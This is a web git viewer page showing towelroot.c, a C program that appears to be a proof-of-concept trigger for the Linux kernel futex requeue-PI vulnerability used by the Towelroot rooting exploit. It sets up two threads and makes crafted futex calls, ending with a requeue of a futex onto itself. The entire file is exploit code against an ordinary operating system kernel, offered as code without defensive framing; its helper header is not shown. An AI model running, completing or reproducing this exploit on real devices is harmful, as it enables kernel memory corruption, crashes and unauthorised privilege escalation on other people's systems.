aboutsummaryrefslogtreecommitdiffstats
path: root/towelroot.c
blob: 51c2962856515644efc367c43b06e0912b2aadf0 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#include <stdio.h>
#include <unistd.h>
#include <pthread.h>
#include <linux/futex.h>
#include "userlock.h"
  
int A = 0, B = 0;
  
volatile int invoke_futex_wait_requeue_pi = 0;
volatile pid_t thread_tid = -1;
  
void *thread(void *arg)
{
    thread_tid = gettid();
    printf("[2]\n");
    userlock_wait(&invoke_futex_wait_requeue_pi);
    futex_wait_requeue_pi(&A, &B);
    printf("Someone woke me up\n");
    while (1) {
        sleep(1);
    }
}
  
int main(int argc, char *argv[])
{
    pthread_t t;
    int context_switch_count = 0;
  
    printf("[1]\n");
  
    futex_lock_pi(&B);
  
    userlock_lock(&invoke_futex_wait_requeue_pi);
    pthread_create(&t, NULL, thread, NULL);
    /* Wait for the thread to be in a system call */
    while (thread_tid < 0) {
        usleep(10);
    }
    context_switch_count = get_voluntary_ctxt_switches(thread_tid);
    userlock_release(&invoke_futex_wait_requeue_pi);
    wait_for_thread_to_wait_in_kernel(thread_tid, context_switch_count);
  
    printf("[3]\n");
    futex_requeue_pi(&A, &B, A);
  
    printf("[4]\n");
    B = 0;
  
    printf("[5]\n");
    futex_requeue_pi(&B, &B, B);
  
    while (1) {
        sleep(1);
    }
    return 0;
}